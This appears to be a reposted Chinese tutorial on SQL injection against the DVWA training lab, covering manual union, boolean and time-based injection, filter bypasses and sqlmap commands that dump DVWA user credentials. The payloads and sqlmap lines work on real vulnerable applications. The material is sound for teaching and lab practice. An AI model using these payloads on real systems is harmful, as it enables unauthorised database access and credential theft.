0


渗透测试-SQL注入之sqlmap的使用方法及实战案例

SQL注入之sqlmap的使用方法及实战案例

文章目录

前言

最近总结了sqlmap在实际场景中如何使用的方法以及相关步骤,往期文章中也有写到sqlmap中使用的语法以及相关的案例,但是在实际场景中还是不能规范化的查出数据库的信息内容,关于SQL语句是什么,如何进行手工注入,这里就不介绍了,大家可以看往期的文章进行复习一下,我们今天主要给大家介绍sqlmap常用的几种使用方法,以及配合dvwa靶机上的SQL注入内容进行讲解。

一、sqlmap的使用方法

SQL注入又可分为:
(1)基于报错注入(泄露敏感信息)
(2)基于布尔盲注
(3)基于时间的盲注
(4)基于联合查询的注入
(5)一些二次注入以及宽字节的注入
这些在往期文章都有介绍到,大家可以回头复习一下。
这里给大家总结一下相关注入语句的步骤,分别是查库,表,列,以及相关的字段的信息

查库,表,列,以及相关的字段的信息

查看所有的库名和表名
’ union select table_name,table_schema from information_schema.tables–

查看当前的数据库的表名和库名
’ union select table_name,table_schema from information_schema.tables where table_schema=database()–

查看表名
’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’–
’ union select table_name,table_schema from information_schema.tables where table_schema=database()–
’ union select table_name,table_schema from information_schema.tables where table_schema=0x64767761-- (16进制绕过)

查看列名
’ union select 1,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’–

查看列名的数据
’ union select user,password from dvwa.users–

查字段 1’ order by 2–
版本,用户名
1’ union select version(),substring_index(user(),“@”,1)#
连接字符串( : )(空格+冒号+空格)分隔

查用户名,数据库,数据库版本
1’union select concat_ws(char(32,58,32),user(),database(),version()),substring_index(user(),“@”,1)#

万能密码汇总

(这里的-- (–和空格)表示注释的意思),还有#也是注释的意思
a’ or 1=1 limit 0,1–
a’ or 1=1 limit 1–
a’ or 1=1 –
1’ or ‘1’=‘1
admin’ or ‘1’='1

判断是否为字符型注入

使用1’ or ‘1’=‘1 看看是否能输出所有内容,可以的话,说明是字符型注入
1’ order by 2–
1’ union select 1,2–
1’ union select @@datadir,@@hostname–
(1)ID: 1’ union select @@datadir,@@hostname–
First name: /var/lib/mysql/
Surname: locahost

1’ union select @@version,@@version_compile_os–
(2)ID: 1’ union select @@version,@@version_compile_os–
First name: 10.6.7-MariaDB-3
Surname: debian-linux-gnu

(3)如果使用1’-- 和1-- 都没有报错的话,说明是字符型注入了

SQL布尔盲注方法

(1)’ union select 1,substr(bin(ascil(substr(database(),1,1)))1,1)>0–
(2)’ and 1=1-- (前面执行了,后面就不执行了,前面不执行了,后面也不执行了)
(3)’ or 1=1-- (不管前面执不执行,后面都会执行,输出所有内容)
(4)时间盲注判断的方法
1’ and sleep(3)-- (如果页面延迟了3秒,说明存在SQL注入)

二、sqlmap的实战案例

1.手工注入

dvwa(SQL注入低级)

我们使用dvwa靶机作为演示,我们进入到SQL注入的页面,我们先把安全级别调到最低级
在这里插入图片描述
在这里插入图片描述
然后来判断是否存在SQL注入,加上单引号,回车
在这里插入图片描述
在这里插入图片描述
发现报错,说明存在SQL注入,接下来我们进行注入语句查看数据库信息,先查看有多少字段 ’ order by 2–
在这里插入图片描述
回车后,没有报错
在这里插入图片描述
我们注入’ order by 3–
在这里插入图片描述
发现报错,说明当前的数据库的表中的字段只有两列字段信息,接下来进行爆库,验证一下’ union select 1,2–
在这里插入图片描述
查看所有的库名和表名
’ union select table_name,table_schema from information_schema.tables–
在这里插入图片描述
查看当前的数据库
’ union select 1,database()–
在这里插入图片描述
查看数据库中的表
查当前库中的所有表名
’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’–
在这里插入图片描述
查到了users和guestbook两张表,账号密码可能就在uses表里,继续查看在这里插入图片描述

查看列名
’ union select 1,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’–
在这里插入图片描述
很可能存在user和password字段里
查看列名的数据
’ union select user,password from dvwa.users–
在这里插入图片描述
查找成功
ID: ’ union select user,password from dvwa.users–
名字: admin
姓氏: 5f4dcc3b5aa765d61d8327deb882cf99
ID: ’ union select user,password from dvwa.users–
名字: gordonb
姓氏: e99a18c428cb38d5f260853678922e03
ID: ’ union select user,password from dvwa.users–
名字: 1337
姓氏: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: ’ union select user,password from dvwa.users–
名字: pablo
姓氏: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: ’ union select user,password from dvwa.users–
名字: smithy
姓氏: 5f4dcc3b5aa765d61d8327deb882cf99

只是密码的话是用MD5进行加密的,我们可以尝试利用MD5解密软件进行解密
这里给大家介绍一个MD5工具,网址在下面
https://www.cmd5.com/
在这里插入图片描述
账号和密码:
(MD5解码后)
ID: ’ union select user,password from users–
名字: admin
姓氏: 5f4dcc3b5aa765d61d8327deb882cf99(password)
ID: ’ union select user,password from users–
名字: gordonb
姓氏: e99a18c428cb38d5f260853678922e03(abc123)
ID: ’ union select user,password from users–
名字: 1337
姓氏: 8d3533d75ae2c3966d7e0d4fcc69216b(charley)
ID: ’ union select user,password from users–
名字: pablo
姓氏: 0d107d09f5bbe40cade3de5c71e9e9b7(letmein)
ID: ’ union select user,password from users–
名字: smithy
姓氏: 5f4dcc3b5aa765d61d8327deb882cf99(password)

dvwa(SQL注入中级)

在这里插入图片描述
我们可以看到界面是一个数字型注入的方式,怎么判断呢,方法很简单,我们无法从前端进行注入,只能进行抓包注入,我们打开burp进行抓包
在这里插入图片描述
我们发现是POST请求,也就是说他请求的数据是在请求体里显示的,并不是显示在URL中的,而在dvwa低级中则是GET请求,直接显示在URL中的。

我们加入单引号看看
id=1’&Submit=%E6%8F%90%E4%BA%A4
在这里插入图片描述
返回错误,加入两个单引号试试
id=1’'&Submit=%E6%8F%90%E4%BA%A4
在这里插入图片描述
当加入两个的时候,没有返回成功,而且也报错了,说明就是数字型注入,不是字符型,我们在注入语句的时候前面就不要加入单引号闭合前面的单引号了。

(1)查有多少字段
id=1 order by 2–
在这里插入图片描述
返回成功

(2)查所有的库和表
union select table_name,table_schema from information_schema.tables–
在这里插入图片描述
(3)查当前库中的所有表名
’ union select table_name,table_schema from information_schema.tables where table_schema=database()–
在这里插入图片描述
这里是不可以用’dvwa’这种库名的写法的,因为在中级的级别中以及对单引号进行了转义,语句是执行不成功的,加上了反斜杠进行了转义('‘dvwa’–)
在这里插入图片描述
发现了报错
在这里插入图片描述
我们要将’dvwa’改为database()进行绕过,就可以了

(4)查表中的字段
这里也对users表进行了转义
’ union select 1,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’–

所以我们要将users表名进行16进制转换,进行绕过
union select 1,column_name from information_schema.columns where table_schema=database() and table_name=0x7573657273–
(将users转换为16进制)(dvwa的16进制->0x64767761)
在这里插入图片描述
查看字段中的数据
union select user,password from users–
在这里插入图片描述
至此,中级也进行绕过注入了,我们进入到高级试试

dvwa(SQL注入高级)

在这里插入图片描述
我们发现是一个跳转页面,点击之后跳入了另一个界面
在这里插入图片描述
输入1之后,回显到原来的界面
在这里插入图片描述
发现也是POST请求
在这里插入图片描述
我们直接在方框里输入注入内容就好了,按照低级方法注入就好了
在这里插入图片描述
这里把语句给大家,自己注入一下,这里就不进行演示了
查看所有的库名和表名
’ union select table_name,table_schema from information_schema.tables–

查当前库中的所有表名
’ union select table_name,table_schema from information_schema.tables where table_schema=database()–

查看表中的字段
’ union select 1,column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’–

查看字段中的数据
’ union select user,password from users–

2. sqlmap自动化注入

dvwa(SQL注入低级)

Sqlmap的基本流程如下:

找注入点并检测:sqlmap –u “链接”
列库显示数据库:sqlmap –u “链接” --dbs
列库显示当前的数据库:sqlmap –u “链接” --current-db
列表显示表:sqlmap –u “链接” –D 数据库 --tables
列字段显示表中字段:sqlmap –u “链接” –D 数据库 –T 表名 --columns
显示字段内容:sqlmap –u “链接” –D 数据库 –T 表名 –C 字段 --dump

查看当前的数据库
python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#” -cookie=“security=low; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -current-db
在这里插入图片描述
当前库为dvwa
查看表
python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#” -cookie=“security=low; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa --tables
在这里插入图片描述
查看表中的字段
python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#” -cookie=“security=low; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa -T users --columns
在这里插入图片描述
查看字段详细数据,很可能在user和password字段里
python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#” -cookie=“security=low; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa -T users -C “user,password” -dump
在这里插入图片描述

dvwa(SQL注入中级)

在这里插入图片描述
我们发现是POST请求,无法进行对url进行检测,只能使用data模块进行注入,还有cookie模块
以下注入方法是错误的
python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/#” -p id -batch -dbs
在这里插入图片描述
cookie是在消息头那里可以找的到
在这里插入图片描述
data在请求那里可以找的到 在这里插入图片描述
查看当前数据库
python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=medium; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -current-db
在这里插入图片描述
查看表
python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=medium; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa --tables
在这里插入图片描述
查看表中的字段
python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=medium; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa -T users --columns
在这里插入图片描述
查看字段中的数据
python sqlmap.py -u “http://192.168.171.1/dvwa/vulnerabilities/sqli/#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=medium; PHPSESSID=l7pekilmh50bff7pqs0qs8rlc5” -batch -p id -D dvwa -T users -C “user,password” -dump
在这里插入图片描述
可以看出,加-dump参数,sqlmap是可以自动解密出来的。

dvwa(SQL注入高级)

高级就有点难 ,因为有跳转页面,我们要设置第二个url参数
http://192.168.171.1/dvwa/vulnerabilities/sqli/session-input.php#

我们打开第二个窗口进行提交,发现是POST请求,也是要加上data参数的
在这里插入图片描述
找到data参数
在这里插入图片描述
我们进行注入语句,第一个url参数是
http://192.168.171.1/dvwa/vulnerabilities/sqli/

python sqlmap.py -u “192.168.171.1/dvwa/vulnerabilities/sqli/session-input.php#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=high; PHPSESSID=vihdoi5q5fc92b4akqtafpbtc2” -second-url=“http://192.168.171.1/dvwa/vulnerabilities/sqli/” -batch -current-db
在这里插入图片描述
查看表
python sqlmap.py -u “192.168.171.1/dvwa/vulnerabilities/sqli/session-input.php#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=high; PHPSESSID=vihdoi5q5fc92b4akqtafpbtc2” -second-url=“http://192.168.171.1/dvwa/vulnerabilities/sqli/” -batch -D dvwa --tables
在这里插入图片描述
查看表中的字段
python sqlmap.py -u “192.168.171.1/dvwa/vulnerabilities/sqli/session-input.php#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=high; PHPSESSID=vihdoi5q5fc92b4akqtafpbtc2” -second-url=“http://192.168.171.1/dvwa/vulnerabilities/sqli/” -batch -D dvwa -T tables --columns
在这里插入图片描述
查看字段中的数据
python sqlmap.py -u “192.168.171.1/dvwa/vulnerabilities/sqli/session-input.php#” -data=“id=1&Submit=%E6%8F%90%E4%BA%A4” -cookie=“security=high; PHPSESSID=vihdoi5q5fc92b4akqtafpbtc2” -second-url=“http://192.168.171.1/dvwa/vulnerabilities/sqli/” -batch -D dvwa -T tables -C “user,password” -dump
在这里插入图片描述
实验结束了,sqlmap有时也会查不出东西了,所以当sqlmap查不出来的时候,可以尝试手工注入试试看,效果也是一样的。

总结

今天给大家讲解了SQL注入的几种常见的手工注入的方法,已经sqlma自动化扫描工具的使用方法,SQL注入是非常注重实操的,不光是这一漏洞类型,而是这个行业都是离不开实操性的,希望大家看完之后可以自己去尝试操作一下,对以后工作和打比赛都是有利的。


本文转载自: https://blog.csdn.net/lza20001103/article/details/125875645
版权归原作者 炫彩@之星 所有, 如有侵权,请联系我们删除。

“渗透测试-SQL注入之sqlmap的使用方法及实战案例”的评论:

还没有评论